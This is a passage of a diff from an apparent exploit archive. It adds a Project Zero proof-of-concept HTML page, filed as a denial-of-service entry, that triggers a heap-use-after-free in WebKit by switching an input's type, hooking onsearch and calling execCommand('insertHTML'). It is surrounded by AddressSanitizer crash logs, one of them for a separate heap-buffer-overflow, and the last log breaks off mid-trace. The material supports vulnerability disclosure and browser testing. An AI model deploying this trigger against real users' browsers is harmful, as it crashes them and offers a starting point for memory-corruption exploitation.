#16 0x11ef3c6d3 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f6d3)
|
||||||
|
#17 0x114ff5a15 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x11f3a15)
|
||||||
|
#18 0x115389510 in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext*, WebCore::Event*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1587510)
|
||||||
|
#19 0x11478a68e in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x98868e)
|
||||||
|
#20 0x11478a170 in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x988170)
|
||||||
|
#21 0x114665041 in WebCore::DOMWindow::dispatchEvent(WebCore::Event&, WebCore::EventTarget*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x863041)
|
||||||
|
#22 0x114674aaf in WebCore::DOMWindow::dispatchLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x872aaf)
|
||||||
|
#23 0x1145767af in WebCore::Document::dispatchWindowLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7747af)
|
||||||
|
#24 0x114571103 in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x76f103)
|
||||||
|
#25 0x1149169ce in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb149ce)
|
||||||
|
#26 0x114913d0c in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb11d0c)
|
||||||
|
#27 0x11458f493 in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x78d493)
|
||||||
|
#28 0x114b035c0 in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd015c0)
|
||||||
|
#29 0x11462e093 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x82c093)
|
||||||
|
#30 0x1145ed386 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7eb386)
|
||||||
|
#31 0x11407c997 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27a997)
|
||||||
|
#32 0x1140762aa in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2742aa)
|
||||||
|
#33 0x1169fdc41 in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2bfbc41)
|
||||||
|
#34 0x10ad232eb in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa892eb)
|
||||||
|
#35 0x10ad26689 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa8c689)
|
||||||
|
#36 0x10ad25ba9 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa8bba9)
|
||||||
|
#37 0x10a5c6683 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x32c683)
|
||||||
|
#38 0x10a3703b5 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xd63b5)
|
||||||
|
#39 0x10a379888 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xdf888)
|
||||||
|
#40 0x1203b0312 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c03312)
|
||||||
|
#41 0x1203b0d41 in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c03d41)
|
||||||
|
#42 0x7fff8da4f3c0 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa73c0)
|
||||||
|
#43 0x7fff8da302cc in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x882cc)
|
||||||
|
#44 0x7fff8da2f7c5 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x877c5)
|
||||||
|
#45 0x7fff8da2f1c3 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x871c3)
|
||||||
|
#46 0x7fff8cf90ebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
|
||||||
|
#47 0x7fff8cf90cf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
|
||||||
|
#48 0x7fff8cf90b25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
|
||||||
|
#49 0x7fff8b52be23 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46e23)
|
||||||
|
#50 0x7fff8bca785d in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c285d)
|
||||||
|
#51 0x7fff8b5207aa in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b7aa)
|
||||||
|
#52 0x7fff8b4eb1dd in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x61dd)
|
||||||
|
#53 0x7fffa33eb8c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
|
||||||
|
#54 0x7fffa33ea2e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
|
||||||
|
#55 0x10a28156c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
|
||||||
|
#56 0x7fffa3192234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)
|
||||||
|
|
||||||
|
0x61200006a660 is located 24 bytes to the right of 264-byte region [0x61200006a540,0x61200006a648)
|
||||||
|
allocated by thread T0 here:
|
||||||
|
#0 0x10d26dd2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
|
||||||
|
#1 0x7fffa3314281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
|
||||||
|
#2 0x120401ae4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c54ae4)
|
||||||
|
#3 0x1203f6c4d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c49c4d)
|
||||||
|
#4 0x12038c437 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1bdf437)
|
||||||
|
#5 0x12038b768 in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1bde768)
|
||||||
|
#6 0x11400c548 in WebCore::RenderObject::operator new(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x20a548)
|
||||||
|
#7 0x116bd7dbd in WebCore::RenderPtr<WebCore::RenderTextControlSingleLine> WebCore::createRenderer<WebCore::RenderTextControlSingleLine, WebCore::HTMLInputElement&, WebCore::RenderStyle>(WebCore::HTMLInputElement&&&, WebCore::RenderStyle&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2dd5dbd)
|
||||||
|
#8 0x116bd7d30 in WebCore::TextFieldInputType::createInputRenderer(WebCore::RenderStyle&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2dd5d30)
|
||||||
|
#9 0x114b57c46 in WebCore::HTMLInputElement::createElementRenderer(WebCore::RenderStyle&&, WebCore::RenderTreePosition const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd55c46)
|
||||||
|
#10 0x1165cd605 in WebCore::RenderTreeUpdater::createRenderer(WebCore::Element&, WebCore::RenderStyle&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27cb605)
|
||||||
|
#11 0x1165cc2f7 in WebCore::RenderTreeUpdater::updateElementRenderer(WebCore::Element&, WebCore::Style::ElementUpdate const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27ca2f7)
|
||||||
|
#12 0x1165cbc4d in WebCore::RenderTreeUpdater::updateRenderTree(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27c9c4d)
|
||||||
|
#13 0x1165cb47b in WebCore::RenderTreeUpdater::commit(std::__1::unique_ptr<WebCore::Style::Update const, std::__1::default_delete<WebCore::Style::Update const> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27c947b)
|
||||||
|
#14 0x1145707e9 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x76e7e9)
|
||||||
|
#15 0x11458f478 in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x78d478)
|
||||||
|
#16 0x114b035c0 in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd015c0)
|
||||||
|
#17 0x11462e093 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x82c093)
|
||||||
|
#18 0x1145ed386 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7eb386)
|
||||||
|
#19 0x11407c997 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27a997)
|
||||||
|
#20 0x1140762aa in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2742aa)
|
||||||
|
#21 0x1169fdc41 in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2bfbc41)
|
||||||
|
#22 0x10ad232eb in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa892eb)
|
||||||
|
#23 0x10ad26689 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa8c689)
|
||||||
|
#24 0x10ad25ba9 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa8bba9)
|
||||||
|
#25 0x10a5c6683 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x32c683)
|
||||||
|
#26 0x10a3703b5 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xd63b5)
|
||||||
|
#27 0x10a379888 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xdf888)
|
||||||
|
#28 0x1203b0312 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c03312)
|
||||||
|
#29 0x1203b0d41 in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c03d41)
|
||||||
|
|
||||||
|
SUMMARY: AddressSanitizer: heap-buffer-overflow (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2694d46) in WTF::VectorBufferBase<WebCore::RecentSearch>::buffer()
|
||||||
|
Shadow bytes around the buggy address:
|
||||||
|
0x1c240000d470: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
|
||||||
|
0x1c240000d480: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||||
|
0x1c240000d490: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa
|
||||||
|
0x1c240000d4a0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
|
||||||
|
0x1c240000d4b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||||
|
=>0x1c240000d4c0: 00 00 00 00 00 00 00 00 00 fa fa fa[fa]fa fa fa
|
||||||
|
0x1c240000d4d0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
|
||||||
|
0x1c240000d4e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||||
|
0x1c240000d4f0: 00 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa
|
||||||
|
0x1c240000d500: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
|
||||||
|
0x1c240000d510: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||||
|
Shadow byte legend (one shadow byte represents 8 application bytes):
|
||||||
|
Addressable: 00
|
||||||
|
Partially addressable: 01 02 03 04 05 06 07
|
||||||
|
Heap left redzone: fa
|
||||||
|
Freed heap region: fd
|
||||||
|
Stack left redzone: f1
|
||||||
|
Stack mid redzone: f2
|
||||||
|
Stack right redzone: f3
|
||||||
|
Stack after return: f5
|
||||||
|
Stack use after scope: f8
|
||||||
|
Global redzone: f9
|
||||||
|
Global init order: f6
|
||||||
|
Poisoned by user: f7
|
||||||
|
Container overflow: fc
|
||||||
|
Array cookie: ac
|
||||||
|
Intra object redzone: bb
|
||||||
|
ASan internal: fe
|
||||||
|
Left alloca redzone: ca
|
||||||
|
Right alloca redzone: cb
|
||||||
|
==805==ABORTING
|
||||||
|
-->
|
||||||
198
platforms/multiple/dos/42364.html
Executable file
198
platforms/multiple/dos/42364.html
Executable file
|
|
@ -0,0 +1,198 @@
|
||||||
|
<!--
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1244
|
||||||
|
|
||||||
|
There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.
|
||||||
|
|
||||||
|
PoC:
|
||||||
|
|
||||||
|
=================================================================
|
||||||
|
-->
|
||||||
|
|
||||||
|
<script>
|
||||||
|
var runcount = 0;
|
||||||
|
function go() {
|
||||||
|
runcount++; if(runcount > 2) { return; }
|
||||||
|
i.type = "foo";
|
||||||
|
i.select();
|
||||||
|
i.type = "search";
|
||||||
|
document.onsearch = document.body.onload;
|
||||||
|
document.execCommand("insertHTML", false, "");
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
<body onload=go()>
|
||||||
|
<input id="i" type="checkbox" incremental="incremental">
|
||||||
|
|
||||||
|
<!--
|
||||||
|
=================================================================
|
||||||
|
|
||||||
|
ASan log:
|
||||||
|
|
||||||
|
=================================================================
|
||||||
|
==29786==ERROR: AddressSanitizer: heap-use-after-free on address 0x6110000e2a88 at pc 0x000113b182db bp 0x7fff5a00de60 sp 0x7fff5a00de58
|
||||||
|
READ of size 8 at 0x6110000e2a88 thread T0
|
||||||
|
==29786==WARNING: invalid path to external symbolizer!
|
||||||
|
==29786==WARNING: Failed to use and restart external symbolizer!
|
||||||
|
#0 0x113b182da in WebCore::InputType::element() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x20a2da)
|
||||||
|
#1 0x1166e662e in WebCore::TextFieldInputType::didSetValueByUserEdit() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2dd862e)
|
||||||
|
#2 0x1166e6513 in WebCore::TextFieldInputType::subtreeHasChanged() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2dd8513)
|
||||||
|
#3 0x114661933 in WebCore::HTMLInputElement::subtreeHasChanged() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd53933)
|
||||||
|
#4 0x1141e9756 in WebCore::notifyTextFromControls(WebCore::Element*, WebCore::Element*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8db756)
|
||||||
|
#5 0x1141e8ea8 in WebCore::Editor::appliedEditing(WTF::PassRefPtr<WebCore::CompositeEditCommand>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8daea8)
|
||||||
|
#6 0x113c8bb78 in WebCore::CompositeEditCommand::didApplyCommand() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x37db78)
|
||||||
|
#7 0x113c8b4eb in WebCore::CompositeEditCommand::apply() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x37d4eb)
|
||||||
|
#8 0x11421327d in WebCore::executeInsertFragment(WebCore::Frame&, WTF::PassRefPtr<WebCore::DocumentFragment>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x90527d)
|
||||||
|
#9 0x11420cf05 in WebCore::executeInsertHTML(WebCore::Frame&, WebCore::Event*, WebCore::EditorCommandSource, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8fef05)
|
||||||
|
#10 0x114209f93 in WebCore::Editor::Command::execute(WTF::String const&, WebCore::Event*) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8fbf93)
|
||||||
|
#11 0x1140964fa in WebCore::Document::execCommand(WTF::String const&, bool, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7884fa)
|
||||||
|
#12 0x114c443e5 in WebCore::jsDocumentPrototypeFunctionExecCommandCaller(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13363e5)
|
||||||
|
#13 0x114c2add8 in long long WebCore::BindingCaller<WebCore::JSDocument>::callOperation<&(WebCore::jsDocumentPrototypeFunctionExecCommandCaller(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x131cdd8)
|
||||||
|
#14 0x114c2ac41 in WebCore::jsDocumentPrototypeFunctionExecCommand(JSC::ExecState*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x131cc41)
|
||||||
|
#15 0x5b96c2401027 (<unknown module>)
|
||||||
|
#16 0x10d35034a in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x157734a)
|
||||||
|
#17 0x10d35034a in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x157734a)
|
||||||
|
#18 0x10d34991a in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x157091a)
|
||||||
|
#19 0x10cfae757 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x11d5757)
|
||||||
|
#20 0x10cf303da in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x11573da)
|
||||||
|
#21 0x10c5680f1 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f0f1)
|
||||||
|
#22 0x10c568362 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f362)
|
||||||
|
#23 0x10c5686d3 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f6d3)
|
||||||
|
#24 0x114b01a15 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x11f3a15)
|
||||||
|
#25 0x114e95510 in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext*, WebCore::Event*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1587510)
|
||||||
|
#26 0x11429668e in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x98868e)
|
||||||
|
#27 0x114296170 in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x988170)
|
||||||
|
#28 0x114171041 in WebCore::DOMWindow::dispatchEvent(WebCore::Event&, WebCore::EventTarget*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x863041)
|
||||||
|
#29 0x114180aaf in WebCore::DOMWindow::dispatchLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x872aaf)
|
||||||
|
#30 0x1140827af in WebCore::Document::dispatchWindowLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7747af)
|
||||||
|
#31 0x11407d103 in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x76f103)
|
||||||
|
#32 0x1144229ce in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb149ce)
|
||||||
|
#33 0x11441fd0c in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb11d0c)
|
||||||
|
#34 0x11409b493 in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x78d493)
|
||||||
|
#35 0x11460f5c0 in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd015c0)
|
||||||
|
#36 0x11413a093 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x82c093)
|
||||||
|
#37 0x1140f9386 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7eb386)
|
||||||
|
#38 0x113b88997 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27a997)
|
||||||
|
#39 0x113b822aa in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2742aa)
|
||||||
|
